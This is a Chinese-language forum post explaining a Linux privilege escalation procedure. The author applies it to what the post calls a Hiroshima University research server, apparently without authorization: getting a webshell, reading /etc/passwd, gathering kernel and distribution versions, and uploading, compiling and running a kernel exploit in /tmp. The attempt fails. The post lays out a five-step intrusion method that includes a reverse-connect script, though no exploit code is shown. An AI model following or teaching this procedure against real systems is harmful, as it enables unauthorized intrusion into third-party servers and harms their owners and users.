linux渗透提权方法

[复制链接]
查看350 | 回复0 | 2012-4-1 19:17:09 | 显示全部楼层 |阅读模式
一些人一直觉得Linux提权是一项高深技术,其实Linux提权并不神秘。总结其步骤,可以简单分为5步:
1,获取webshell

2,具有执行commandline权限,并获取Linux的系统版本

3,上传与Linux系统版本对应的漏洞提权脚本至可写可执行的目录下

4,执行提权脚本和反弹连接脚本

5,远程使用commandline控制机器
本文所采用的实例仍然是广岛大学研究所的服务器,但是目前为止我并没有提权成功,虽然不是一个成功的实例,但是文章的目的在于说明过程而非说明结果

广岛大学研究所的网站服务器架设环境是:

CentOS+PHP+Apache+PsotgreSQL

当然这些并不重要,我获得了webshell,并且发现有exec和system函数的权限,这样就好办多了

首先,读取password文件:
cat/etc/passwd

复制代码

获得:
root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

news:x:9:13:news:/etc/news:

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

operator:x:11:0:operator:/root:/sbin/nologin

games:x:12:100:games:/usr/games:/sbin/nologin

gopher:x:13:30:gopher:/var/gopher:/sbin/nologin

ftp:x:14:50:FTPUser:/var/ftp:/sbin/nologin

nobody:x:99:99:Nobody:/:/sbin/nologin

rpm:x:37:37::/var/lib/rpm:/sbin/nologin

dbus:x:81:81:Systemmessagebus:/:/sbin/nologin

avahi:x:70:70:Avahidaemon:/:/sbin/nologin

mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin

smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin

nscd:x:28:28:NSCDDaemon:/:/sbin/nologin

vcsa:x:69:69:virtualconsolememoryowner:/dev:/sbin/nologin

rpc:x:32:32:PortmapperRPCuser:/:/sbin/nologin

sshd:x:74:74:Privilege-separatedSSH:/var/empty/sshd:/sbin/nologin

rpcuser:x:29:29:RPCServiceUser:/var/lib/nfs:/sbin/nologin

nfsnobody:x:65534:65534:AnonymousNFSUser:/var/lib/nfs:/sbin/nologin

apache:x:48:48:Apache:/var/www:/sbin/nologin

pcap:x:77:77::/var/arpwatch:/sbin/nologin

haldaemon:x:68:68:HALdaemon:/:/sbin/nologin

distcache:x:94:94:Distcache:/:/sbin/nologin

postgres:x:26:26:PostgreSQLServer:/var/lib/pgsql:/bin/bash

webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin

squid:x:23:23::/var/spool/squid:/sbin/nologin

xfs:x:43:43:XFontServer:/etc/X11/fs:/sbin/nologin

ope:x:500:500::/home/ope:/bin/bash

ntp:x:38:38::/etc/ntp:/sbin/nologin

oprofile:x:16:16:SpecialuseraccounttobeusedbyOProfile:/home/oprofile:/sbin/nologin

avahi-autoipd:x:100:104:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin

复制代码

除了root之外,有bash权限的shell分别有
数据库账户line32:postgres
管理员自己的账户line36:ope
Apache是nologin的shell,当然这个似乎并不影响什么,只是看一下而已
顺便w一下
10:45:41up71days,17:02,1user,loadaverage:2.00,2.00,2.00

USERTTYFROMLOGIN@IDLEJCPUPCPUWHAT

opetty1-26Jan1171days0.03s0.03s-bash

复制代码

好吧,那么踩点结束。开始正事
执行命令:
uname-a

回显:

LinuxXXXXXXXX.hiroshima-u.ac.jp2.6.18-164.15.1.el5PAE#1SMPWedMar1712:14:29EDT2010i686i686i386GNU/Linux

复制代码

2.6.18的内核,再看:
lsb_release-a

回显:

LSBVersion::core-3.1-ia32:core-3.1-noarch:graphics-3.1-ia32:graphics-3.1-noarch

DistributorID:CentOS

Description:CentOSrelease5.4(Final)

Release:5.4

Codename:Final

复制代码

CentOS5.4的系统确实是2.6.18的内核。但是目前为止没有发现这个RedHat的系统有什么漏洞--
传了一个去年的2.6.18的提权脚本到/tmp目录
注意,一般来讲,提权脚本都是放在/tmp目录,原因很简单,目录简单,可写可执行~起名为:2618.c
好了,提权之前,这是一个c文件,是不能像rb或者pl那样直接脚本执行的,我们要先编译:
gcc-o/tmp/2618/tmp/2618.c

复制代码

这样就把/tmp/2618.c编译成了可以执行的文件/tmp/2618了
此时直接执行这个文件就行了
/tmp/2618

复制代码

当然,回显提示是失败的
DiagnostictoolforpublicCVE-2010-3081exploit--Ksplice,Inc.

(seehttp://www.ksplice.com/uptrack/cve-2010-3081)
$$$Kernelrelease:2.6.18-164.15.1.el5PAE

$$$BackdoorinLSM(1/3):checking...notpresent.

$$$Backdoorintimer_list_fops(2/3):notavailable.

$$$BackdoorinIDT(3/3):checking...notpresent.
Yoursystemi单机传奇reefromthebackdoorsthatwouldbeleftinmemory

bythepublishedexploitforCVE-2010-3081.
当然,直接对RedHat发布的Linux系统版本进行内核提权显然不是明智的选择。我的思路是,查找系统中含有漏洞的软件、驱动等,用它们来提权。不幸的是我目前还没成功--
文章总结:提权脚本有两点要注意,gcc命令编译无法编译出脚本未必是系统的问题,可能是c脚本本身有问题。如果系统无法gcc出可执行的文件,可以在本地或者其他地方gcc出来,然后直接传上去,直接执行
*
*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则